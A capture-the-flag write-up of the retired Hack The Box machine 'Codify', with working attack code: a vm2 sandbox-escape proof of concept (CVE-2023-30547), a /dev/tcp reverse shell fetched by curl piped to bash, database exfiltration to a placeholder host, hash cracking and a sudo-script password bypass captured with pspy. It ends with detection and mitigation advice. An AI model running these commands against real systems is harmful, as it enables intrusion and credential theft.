Skip to content
Pwnversity
CODIFY11 min · upd. 2026-11

Codify

linuxnodejsvm2cve-2023-30547bashsudopspy
Platform Hack The Box (retired)
OS Linux — codify.htb
Difficulty Easy
Approx. time ~35 min
Chain vm2 CVE-2023-30547 (sandbox escape) → svc shell → SQLite with joshua’s hash → SSH → sudo Bash script (== pattern matching + pspy) → root
flowchart TD
  A["Node.js web: code editor<br/>vm2 library"] -->|CVE-2023-30547| B["Sandbox escape → RCE"]
  B -->|reverse shell| C["Shell as svc"]
  C -->|/var/www/contacts/tickets.db| D["SQLite: joshua bcrypt hash"]
  D -->|hashcat -m 3200| E["joshua : spongebob1"]
  E -->|SSH| F["joshua (user.txt)"]
  F -->|sudo mysql-backup.sh| G["[[ == ]] unquoted → pattern matching"]
  G -->|password * + pspy| H["root's password in clear"]
  H -->|su root| I["root"]
  • A Node.js web app runs JS in a vm2 sandbox vulnerable to CVE-2023-30547. We escape the sandbox, get RCE and a reverse shell as svc.
  • /var/www/contacts/tickets.db holds a SQLite database with joshua’s bcrypt hash. We crack it (spongebob1) and SSH in.
  • joshua can run a Bash script via sudo that compares passwords with [[ $DB_PASS == $USER_PASS ]] unquoted → pattern matching: passing * as the password makes the if true. With pspy we capture root’s real password (which the script passes to mysqldump from /root/.creds).

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see: 22 (SSH), 80 (Apache) and 3000 (Node.js/Express).

    What I think: with no SSH credentials, I start with the web. Port 80 redirects to codify.htb; I add it to /etc/hosts. → Network service enumeration

    Ventana de terminal
    echo "$IP codify.htb" | sudo tee -a /etc/hosts
  1. Identify vm2

    What I see: the site is an editor that runs Node.js code in a sandbox. The “About”/“Limitations” page mentions the vm2 library and which modules are restricted.

    What I think: vm2 creates isolated environments to run untrusted code. A specific version is a lead: I search for vm2 CVEs.

  2. CVE-2023-30547: escape the sandbox

    What I think: vm2 ≤ 3.9.16 has CVE-2023-30547: a host exception isn’t sanitized correctly in handleException(), which allows escaping the sandbox and running code in the host context. The PoC throws an error with a Proxy whose getPrototypeOf triggers a controlled stack overflow and, on catching the exception, reaches constructor to get to process and child_process. → Code execution / command injection

    What I do: I try the PoC with id in the editor:

    const {VM} = require("vm2");
    const vm = new VM();
    const code = `
    err = {};
    const handler = {
    getPrototypeOf(target) {
    (function stack() { new Error().stack; stack(); })();
    }
    };
    const proxiedErr = new Proxy(err, handler);
    try { throw proxiedErr; }
    catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('id');
    }
    `;
    console.log(vm.run(code));

    What I see: the output shows the svc user’s uid → RCE confirmed.

  3. Reverse shell

    What I do: I serve a script and download it from the payload.

    Ventana de terminal
    echo -e '#!/bin/bash\nsh -i >& /dev/tcp/<LHOST>/4444 0>&1' > rev.sh
    python3 -m http.server 8081 # on my box
    nc -lnvp 4444 # in another terminal

    In the editor, I change execSync('id') to:

    execSync('curl http://<LHOST>:8081/rev.sh|bash')

    What I see: a shell as svc. I stabilize it:

    Ventana de terminal
    script /dev/null -c bash
  1. Look for other users and the database

    What I do:

    Ventana de terminal
    cat /etc/passwd | grep -E 'sh$' # → joshua
    ls -la /var/www/contacts
    file /var/www/contacts/tickets.db # SQLite

    What I see: a joshua user exists and a SQLite database tickets.db sits in the web directory.

  2. Exfiltrate and read the database

    What I do: if there’s no scp, I use /dev/tcp to pull it.

    Ventana de terminal
    # on my box:
    nc -lnvp 2222 > tickets.db
    # on the target:
    cat tickets.db > /dev/tcp/<LHOST>/2222
    # back on my box:
    sqlite3 tickets.db "select * from users;"

    What I see: a bcrypt hash ($2a$…) for the joshua user.

  3. Crack and SSH in

    What I do:

    Ventana de terminal
    hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
    # joshua:spongebob1
    ssh joshua@$IP
    cat user.txt

    What I see: $2a$ means bcrypt (hashcat -m 3200). It cracks to spongebob1. user.txt → abcd…wxyz (redacted). → Credential hunting

4. Escalation to root: pattern matching + pspy

Section titled “4. Escalation to root: pattern matching + pspy”
  1. Check sudo and the script

    What I do:

    Ventana de terminal
    sudo -l # (root) NOPASSWD: /opt/scripts/mysql-backup.sh
    cat /opt/scripts/mysql-backup.sh

    What I see (key snippet):

    Ventana de terminal
    DB_PASS=$(/usr/bin/cat /root/.creds)
    read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
    if [[ $DB_PASS == $USER_PASS ]]; then
    echo "Password confirmed!"
    else
    exit 1
    fi
    ...
    mysqldump --force -u root -p"$DB_PASS" "$db" | gzip > ...

    What I think: two flaws:

    • [[ $DB_PASS == $USER_PASS ]] with $USER_PASS unquoted → inside [[ ]], == does pattern matching, not a literal comparison. If I enter * as the password, * matches any string → the if is true without knowing the password.
    • The real password (DB_PASS, read from /root/.creds) is passed to mysqldump on the command line, visible in the process table. → Sudo abuse
  2. Bypass + capture the password with pspy

    What I do: I need two SSH sessions. In one, pspy; in the other, the script.

    Ventana de terminal
    # session 1: watch processes
    wget http://<LHOST>:8082/pspy64s -O /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy
    # session 2: run the script and enter * as the password
    sudo /opt/scripts/mysql-backup.sh
    # Enter MySQL password: *

    What I see: the if passes (Password confirmed!) and, in pspy, the mysqldump -proot -p<REAL_PASSWORD> line appears → root’s password in clear.

    Why it works: the * bypasses the check via pattern matching; the script continues and runs mysqldump with the real password (from /root/.creds) on the command line, which pspy captures.

  3. From the password to root

    What I do:

    Ventana de terminal
    su root # <captured password>
    cat /root/root.txt

    What I see: a shell as root. root.txt → abcd…wxyz (redacted).


The web runs Node.js in a sandbox. Which library, and which CVE affects it?

What I tried Result How I ruled it out
Looking for the flag in svc’s home No user.txt You had to pivot to joshua
Reading /root/.creds directly Permission denied Root only; the pass must be captured via pspy
Guessing the password after the bypass Unnecessary pspy reveals it in clear in the mysqldump line
  • Code sandbox (vm2, pyodide…) → look up its escape CVE. The version is usually on the web app itself.
  • First shell → look for databases (.db, .sqlite) in the web directories. They often hold user hashes.
  • /dev/tcp/IP/PORT is your plan B for uploading/downloading files when there’s no wget/curl/scp.
  • [[ $a == $b ]] with the variable unquoted = pattern matching in Bash. A * breaks it. Recognize this bug in sudo scripts.
  • Passwords passed on the command line → pspy. Any secret in argv is visible in the process table.
Phase Detection Mitigation
vm2 sandbox escape Anomalous Node service child processes (curl, bash); unexpected output Update vm2 > 3.9.17 (or migrate to isolated-vm); don’t run untrusted code
SQLite with hashes in the webroot Access to .db via web or shell Don’t leave credential-bearing databases in web directories; strict permissions
Pattern matching in a sudo script Bash code review; auditd on the script Always quote ("$USER_PASS"); compare with = outside [[ ]] or with [ ]
Password in mysqldump’s argv pspy on the attacker side; hard to detect Pass credentials via an options file (--defaults-extra-file), not -p on the line